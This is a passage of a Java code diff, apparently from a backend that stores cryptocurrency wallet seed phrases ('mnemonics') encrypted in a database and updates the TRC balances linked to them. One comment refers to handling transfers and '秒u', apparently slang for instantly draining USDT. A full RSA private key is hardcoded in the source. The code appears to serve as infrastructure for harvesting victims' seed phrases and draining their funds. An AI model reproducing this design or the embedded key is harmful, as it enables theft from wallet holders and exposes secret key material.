+ //大于0情况
|
|
|
+ tokeninfo.setBalance(b3);
|
|
|
+ } else {
|
|
|
+ tokeninfo.setBalance(new BigDecimal("0"));
|
|
|
+ }
|
|
|
+ apiMnemonicTokenMapper.updateSysMnemonicToken(tokeninfo);
|
|
|
+ // 减去对应助记词相关金额
|
|
|
+ Long zjcid = tokeninfo.getMnemonicid();
|
|
|
+ ApiMnemonic findzcj = apiMnemonicMapper.selectSysMnemonicById(zjcid);
|
|
|
+
|
|
|
+ if (money.equals(oldmoney)) {
|
|
|
+ findzcj.setTrc(new BigDecimal("0"));
|
|
|
+ } else {
|
|
|
+ if (b33 > 0) {
|
|
|
+ //大于0情况
|
|
|
+ findzcj.setTrc(b3);
|
|
|
+ } else {
|
|
|
+ findzcj.setTrc(new BigDecimal("0"));
|
|
|
+ }
|
|
|
+ }
|
|
|
+ apiMnemonicMapper.updateSysMnemonic(findzcj);
|
|
|
+ return "success";
|
|
|
+
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("处理字符串报错>>>>>>>>>>" + e);
|
|
|
+ }
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+
|
|
|
+ /// ///////////////////////////////////////////////////////////////////////////////////////////处理转账和秒u这块
|
|
|
+// generate key
|
|
|
+ public static String generateKey() {
|
|
|
+ try {
|
|
|
+ KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");
|
|
|
+ keyPairGen.initialize(2048);
|
|
|
+ KeyPair keyPair = keyPairGen.generateKeyPair();
|
|
|
+ RSAPublicKey pubKey = (RSAPublicKey) keyPair.getPublic();
|
|
|
+ RSAPrivateKey priKey = (RSAPrivateKey) keyPair.getPrivate();
|
|
|
+ String publicKey = Base64.encodeBase64String(pubKey.getEncoded());
|
|
|
+ String privateKey = Base64.encodeBase64String(priKey.getEncoded());
|
|
|
+ return publicKey + "," + privateKey;
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ //助剂词加密入库的密钥
|
|
|
+ public static String encryptByPublicKey(String data) {
|
|
|
+ try {
|
|
|
+ String pulickeystr = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxyQ7co0Efx1KS1uV1tM0f53eiod++F5bb6u2haTfjxYy7+jzAK6Q0qZ0rPT4s0ebJfStnvzTu4POWsg06arYK8h3PFqfuxcFWMTRJTtZ2MDIgCvrIkO8aJhBS1IcbX6OFbb0QsvNarRnfmDxIH4VPJWwovMOOLEX540Ya/LCwPCOZnYQpCgT72LWiXUzk2xstVmBwUrCOCnEeN5Ayt0lbA86Ngnbmfej9ZBr2OOLIeCiBqeHO1stwdsT3tcjpTaLyBLl5896QiyS1OfrJa7koGw4avxWAvjl/SGi7zTMkl/Hdn2T3US3Q7P4sKfqTWMWAXbAyr1L5YjTst3eaoqX3wIDAQAB";
|
|
|
+ byte[] decoded = Base64.decodeBase64(pulickeystr);
|
|
|
+ RSAPublicKey pubKey = (RSAPublicKey) KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(decoded));
|
|
|
+ Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
|
|
|
+ cipher.init(Cipher.ENCRYPT_MODE, pubKey);
|
|
|
+ byte plaintext[] = data.getBytes("UTF-8");
|
|
|
+
|
|
|
+ byte[] output = cipher.doFinal(plaintext);
|
|
|
+ String outStr = Base64.encodeBase64String(output);
|
|
|
+ return outStr;
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+
|
|
|
+ public static String privateKeystr = "MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHJDtyjQR/HUpLW5XW0zR/nd6Kh374Xltvq7aFpN+PFjLv6PMArpDSpnSs9PizR5sl9K2e/NO7g85ayDTpqtgryHc8Wp+7FwVYxNElO1nYwMiAK+siQ7xomEFLUhxtfo4VtvRCy81qtGd+YPEgfhU8lbCi8w44sRfnjRhr8sLA8I5mdhCkKBPvYtaJdTOTbGy1WYHBSsI4KcR43kDK3SVsDzo2CduZ96P1kGvY44sh4KIGp4c7Wy3B2xPe1yOlNovIEuXnz3pCLJLU5+slruSgbDhq/FYC+OX9IaLvNMySX8d2fZPdRLdDs/iwp+pNYxYBdsDKvUvliNOy3d5qipffAgMBAAECggEARB47LXxaMOcCflN2JjU5rHuCX41om6mfCkxI018pz4aO5uyejrmntT6WA4GKPrz8L5gJ+avO+0HjSL9aBiHX7uYUDzOKltMRk6NDTUKHgbK0As/DDwXvgTGviAWuzq9vB7N8ywpumhTan+qmIHCwb/heIucUEsVVAXIMjAROpPMpeT0eStQ7ijmK5TNXW4yFWLV1jNAqxt0K0SW5qtw3EXaK2ChHmBbSU2fnIls7MNzdnZSww3vi14Gt5uxMUZyKcNlsqG1Z7v2RFo3VWdxZy9aN5MAc8t/lrKLLGESSACt6u9EnsPG5hhvIj1usalNVuOAuZiO5Jmuv70mRpq072QKBgQDuTlLkqHGg2s7pgRuBzc0F/Pb9whD7MvmsrB7WnN3n9vt47jK2bacL2X9/iJ0OT2NC1PflBtnctWIXWJCS8JFOl6n47PbFsuKvYu3+gZ0mopQkMtLHDTTlFcH3ISYKy1p9fHD07lTaBRvyt4LJGe74esjc1baMj4WhZ7spO8wkWQKBgQDV7Xpt0ud/mMg86n8n6krkLfsblAtJeOe94RpOTadVGYTUMHUPGD7pbSYSY7IsoeMWQG5ZaJalEHap36Y1MInyCaLP08M86vil7pDHbvczewFQDJW6kmHW9A48JgnX6tmcI0ObOf5bK793Ak5//WPdWGKWDeiLektpBzYiHhb29wKBgQCaEsG9XLq6iT2l8vdZ4TlhWcBHKKXaA4cxgMcfcqR2SVUlRrw6/oI2QxUP27/PdLx0hUURKnDJJeyZs4Ulu6v26E/YxTx3bcTqKEg/eIWmaQ7mqIVmdL9yLbMOmLwD1p5W65IMidsKaqs7LjK82quKs7gSL4qrLk/znyF+8051YQKBgBtE9FA/jCblsNCjC6Zo5TcE7XdsfavV76Ryp0nH+EaOxDHQI3vTGWHj+fBqKPIriKjzeZ2ICXvtB1NMIQGyuELUG57mXYLMaPmt2WKysGwth9NOZ1+q/THLVm0wZBzT4P1YOWv2DohMoVFoR91kzXAPrjF2gGgXJLm0o5/hugetAoGBANA2yVjZv9IV1pPMZXk0pnkwdolbVaoTgaTiwhSA+llFABx4+zyqkzEu3mSDpKtdya/KxPsCC0yg03iAUirwo0DWau/7ujlBFOZL6hkkFMo63uuW3+eM7s+UzlgbhxIFCTIGlncOv+5CFCGT7FuSvdw9Ec9f3GXzh5ILQywZhb7O";
|
|
|
+
|
|
|
+ public static String decryptByPrivateKey(String data) {
|
|
|
+ try {
|
|
|
+
|
|
|
+ byte[] inputByte = Base64.decodeBase64(data.getBytes("UTF-8"));
|
|
|
+ byte[] decoded = Base64.decodeBase64(privateKeystr.getBytes());
|
|
|
+ RSAPrivateKey priKey = (RSAPrivateKey) KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(decoded));
|
|
|
+ Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
|
|
|
+ cipher.init(Cipher.DECRYPT_MODE, priKey);
|
|
|
+ return new String(cipher.doFinal(inputByte));
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+
|
|
|
+ // 填充方式
|
|
|
+ public static final String RSA_ALGORITHM_NOPADDING = "RSA";
|
|
|
+ public static final String RSA_ALGORITHM = "RSA/ECB/PKCS1Padding";
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 生成密钥对
|
|
|
+ *
|
|
|
+ * @return
|
|
|
+ */
|
|
|
+ public static Map<String, String> createKeyPairs() {
|
|
|
+ try {
|
|
|
+ KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(RSA_ALGORITHM_NOPADDING);
|
|
|
+ keyPairGenerator.initialize(2048);
|
|
|
+ KeyPair keyPair = keyPairGenerator.generateKeyPair();
|
|
|
+ RSAPublicKey publicKey = (RSAPublicKey) keyPair.getPublic();
|
|
|
+ RSAPrivateKey privateKey = (RSAPrivateKey) keyPair.getPrivate();
|
|
|
+ return new HashMap<String, String>() {{
|
|
|
+ put("publicKey", Base64.encodeBase64String(publicKey.getEncoded()));
|
|
|
+ put("privateKey", Base64.encodeBase64String(privateKey.getEncoded()));
|
|
|
+ }};
|
|
|
+ } catch (NoSuchAlgorithmException e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ return null;
|
|
|
+ }
|
|
|
+
|
|
|
+ public static void main(String[] args) {
|
|
|
+ createKeyPairs();
|
|
|
+ System.out.println(createKeyPairs().get("publicKey"));
|
|
|
+ System.out.println(createKeyPairs().get("privateKey"));
|
|
|
+ }
|
|
|
+
|
|
|
+}
|